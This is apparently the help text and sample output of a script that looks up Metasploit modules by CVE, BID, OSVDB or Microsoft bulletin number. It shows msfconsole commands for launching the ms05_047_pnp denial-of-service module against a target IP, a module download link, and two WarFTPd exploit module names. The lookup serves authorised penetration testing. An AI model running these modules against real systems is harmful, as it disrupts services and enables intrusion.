This script will get the input of any reference and give you the msf exploit name and it's howto
USAGE:./msf-chk.sh <reference>
Eg: ./msf-chk.sh CVE-1999-0256
Eg: ./msf-chk.sh BID-36075
Eg: ./msf-chk.sh OSVDB-18830
Eg: ./msf-chk.sh MSB-MS02-039
USAGE:./msf-chk.sh <reference> csv
Eg: ./msf-chk.sh CVE-1999-0256 csv
Eg: ./msf-chk.sh BID-36075 csv
[1/1]Reference :
===============
CVE-2005-2120
MSB-MS05-047
BID-15065
OSVDB-18830
[1/1]Usage Information :
=======================
$ msfconsole
msf > use auxiliary/dos/windows/smb/ms05_047_pnp
msf auxiliary(ms05_047_pnp) > set RHOST [TARGET IP]
msf auxiliary(ms05_047_pnp) > run
[1/1]Download Exploit :
======================
http://dev.metasploit.com/redmine/projects/framework/repository/revisions/master/raw/modules/auxiliary/dos/windows/smb/ms05_047_pnp.rb
CVE-1999-0256,exploit/windows/ftp/warftpd_165_pass;exploit/windows/ftp/warftpd_165_user